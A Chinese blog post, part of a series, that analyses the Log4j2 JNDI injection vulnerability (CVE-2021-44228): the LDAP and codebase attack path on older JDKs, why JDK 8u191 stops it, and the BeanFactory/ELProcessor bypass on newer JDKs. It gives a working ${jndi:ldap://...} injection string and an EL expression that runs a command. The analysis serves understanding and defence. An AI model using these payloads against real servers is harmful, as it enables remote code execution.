Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

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一、前言

通过前面的文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识我们简单介绍了下Log4j2漏洞解析中涉及到的一些基础知识和名词解释。本章我们一起来剖析该漏洞的原理。由于JDK不同的版本其漏洞原理不一样，因此我们将从JDK高低两个不同的版本分别进行剖析。

二、Log4j2漏洞原理

1、Java低版本原理（网上普遍攻击原理）

A、原理概述

Log4j2漏洞总的来说就是：因为Log4j2默认支持解析ldap/rmi协议（只要打印的日志中包括ldap/rmi协议即可），并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径，攻击者可以在界面传入一个包含恶意内容（会提供一个恶意的Class文件）的ldap协议内容（如：恶意内容${jndi:ldap://localhost:9999/Test}恶意内容），该内容传递到后端被log4j2打印出来，就会触发恶意的Class的加载执行（可执行任意后台指令），从而达到攻击的目的。

B、恶意代码编写

我们一直在提到恶意的Class文件，那么恶意类的Java代码是怎样的呢？写个main函数？（给大家10秒钟时间想想）

如果大家初步理解了上面的原理概述就知道，直接写main函数不行，因为整个过程中Java并没有执行Class文件中的任何方法，只是使用累加器加载和实例化了该类而已。所以我们需要让代码在实例化的就会被执行。因此我们这类采用了静态块。其代码如下：

​

该模拟攻击代码比较简单，只是在mac电脑上打开文件管理器。

C、攻击流程与原理

接下来咱们一起分析下具体原理，整个攻击原理和流程如下图所示。

PS：由于源码涉及比较多，所以本文不会详细讲解源码，只会大致梳理下关键调用链。其源码本身也比较简单，有兴趣的同学自己Debug跟一下，就能清楚的理解整个源码逻辑。

1、首先攻击者遭到存在风险的接口（接口会将前端输入直接通过日志打印出来），然后向该接口发送攻击内容：${jndi:ldap://localhost:9999/Test}。

2、被攻击服务器接收到该内容后，通过Logj42工具将其作为日志打印。

源码：org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法

            > org.apache.logging.log4j.core.config.LoggerConfig.log(...)

                  > AbstractOutputStreamAppender.append(final LogEvent event)

3、此时Log4j2会解析${}，读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法，尝试完成Ldap的Lookup操作。

源码：StrSubstitutor.substitute(...) --解析出${}中的内容：jndi:ldap://localhost:9999/Test

                > StrSubstitutor.resolveVariable(...) --处理解析出的内容，执行lookup

                > Interpolator.lookup(...) --根据jndi找到jndi的处理类

                        > JndiLookup.lookup(...)

                        > JndiManager.lookup(...)

                                > java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法

PS：后续步骤都是Java内部提供的Lookup能力，和Log4j2无关。

4、请求Ldap服务器，获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端，需要从该Codebase去获取其需要的Class数据。

源码：LdapCtx.c_lookup(...) 请求并处理数据 （ldap中指定了javaCodeBase=）

                >Obj.decodeObject --解析到ldap结果，得到classFactoryLocation=http://localhost:8888

                > DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果

                        > NamingManager.getObjectFactoryFromReference(...) --请求Codebase

5、请求Ldap中返回的Codebase路径，去Codebase下载对应的Class文件，并通过类加载器将其加载为Class类，然后调用其默认构造函数将该Class类实例化成一个对象。

源码：VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载

                > NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类。

这里就会导致我们攻击代码中的静态块中的内容被执行。

到此整个攻击原理就完成了。其实总体也很简单。归纳来看关键就如下几步：

1、攻击则发送带有恶意Ldap内容的字符串，让服务通过log4j2打印

2、log4j2解析到ldap内容，会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器（恶意服务器），得到了Codebase地址，告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类（恶意类），并在本地加载和实例化（触发恶意代码）。

PS：留个问题，因为恶意Factory类会被加载和通过默认构造函数构造，那么我们是否可以通过在默认构造函数中执行恶意代码来实现攻击，而不是在static静态块中实现？

2、JDK高版本为何无效

A、哪些版本受影响

上述所有操作都需要JDK版本低于JDK 8u191才可以实现。而JDK8u191的版本在三年前就已经发布了。所有现在主流的服务器应该都基本是JDK高版本的。所以该攻击在主流版本上无法使用。

参考：PSA: Log4Shell and the current state of JNDI injection – – Random ramblings, exploits and projects.

B、为何失效

那为什么该攻击在高版本无效呢？我们一起来看下。

其实是因为高版本在VersionHelper12.loadClass方法中加了一个判断，如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件，且该变量默认为false。

 所以高版本的Java的请求逻辑如下。即无法请求Codebase，整个攻击因此失效。

但是我们还是可以正常请求Ldap服务器，所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码，从而实现注入攻击。接下来，我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。

C、手动修改trustURLCodebase实现攻击？

其实我们在模拟的时候完全可以通过System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");将其指定为true，这样我们就能够在高版本上执行攻击模拟。网上很多文章也确实是这样做的，但其基本没有解释这样做的原因。

如果是为了在高版本验证低版本的攻击步骤，那么这样做完全OK。但是对于分析Logj42漏洞原理来说，这样做就不太合适。因为分析的目的就是要知道高版本如何实现攻击。这样我们才能够找到具体的防护方法。

再者，如果你是攻击者，你该不会期望哪个服务器会主动把trustURLCodebase设置为true，等着你来攻击吧。

3、Java高版本原理

A、Lookup的基本功能

在开始分享高版本攻击原理前，我们需要先了解下Java底层Ldap的Lookup的基本功能。因为低版本攻击中，我们不太需要关注这一块，所以没有具体讲解。但高版本则需要依赖该功能达到攻击的目的。

当Java底层请求Ldap服务器后，Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion，以及一些额外参数。客户端获得这些参数之后主要做一件事情：构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。这个过程中需要注意如下几点：

1、javaFactory类需要是ObjectFactory的子类。

2、javaFactory有两个来源：来自Codebase（Ldap返回Codebase地址），或者来自本地（Ldap返回对应javaFactory的类地址）。

        对于来自Codebase的Factory：和低版本中的逻辑一样，我们需要请求Codebase获取其Class文件，然后加载该Factory类，并使用默认构造函数实例化出Factory实例。

        来自本地的Factory：则直接根据Ldap返回的路径（类限定符），通过Class.forName进行加载和实例化。

3、得到javaFactory实例后，我们需要构建通过javaFactory实例构建出JavaClassName指定的对象。

4、Log4j2通过javaFactory得到对应的对象之后，会调用其toString方法将其转换为字符串，然后用该字符串替换日志中的${...}内容，最后打印出来。

源码：DirectoryManager.getObjectInstance

B、攻击者如何利用Ldap

1、JDK低版本如何利用Ldap实现攻击

通过上面低版本的原理分析可知，我们根据在Ldap构造了javaFactoryLocation指向Codebase，告诉客户端需要从远端Codebase去获取需要的javaFactory类。获取到之后，然后使其使用本地的类加载器加载远程恶意的javaFactory类的，然后其在加载的过程中执行恶意的static代码块，从而实现攻击。

2、JDK高版本如何利用Ldap实现攻击

我们知道高版本已经无法去Codebase获取javaFactory的Class文件，所以我们想通过让客户端加载和实例化我们恶意构建的javaFactory来实现攻击是不可能的了。

但是，我们还可以走本地javaFactory这条路。即让Ldap实例化一个本地存在的javaFacotry，并用该javaFactory实例化一个本地存在的类。因此我们需要找到本地哪些javaFactory存在一些可以被利用的漏洞。

C、JDK高版本的具体攻击原理

高版本攻击原理参考：Exploiting JNDI Injections in Java | Veracode blog

参考文章中提到了tomcat携带的org.apache.naming.factory.BeanFactory类就是一个存在风险的ObjectFactory子类。通过该Factory我们可以通过默认构造函数实例化任意一个类，并调用其任意的只有一个String入参的公共方法，且其方法名可以不用是标准setter的名称，而可以是任意名称。因为我们可以通过forceString来制定某个String变量的setter方法名称。（具体逻辑大家自己看下BeanFactory.getObjectInstance的源码即可）

 基于此能力，我们就可利用javax.el.ELProcessor类，因为其有个eval方法，只有一个Stirng入参。其可以执行EL表达式，从而执行任意指令。

比如我们让其执行如下EL表达式，就能够达到让其在mac下执行”open .“指令的功能。

\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','.']).start()\")

所以我们只需要Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory，javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码，forceString="x=eval"。

这样客户端拿到指令之后就会做如下操作：

1、直接在本地加载和实例化BeanFactory工厂，得到BeanFacory实例

2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor，得到ELProcessor实例

3、Ldap告诉BeanFactory，ELProcessor有一个string类型的变量x（实际没有），其内容为恶意代码块，且该变量的setter方法名为eval。

4、BeanFactory就会执行ELProcessor实例的eval方法，且入参为恶意代码块。

至此我们就达到执行让ELProcessor通过eval执行恶意代码的目的，从而实现远程攻击。

整个攻击流程如下：

 Log4j2漏洞的攻击原理就介绍到这里。接下来我们一起来实战下基于Log4j2漏洞如何实现对服务器的攻击。

PS：给大家留个小问题，上述基于ELProcessor的攻击方法，有什么限制呢？

五、惯例

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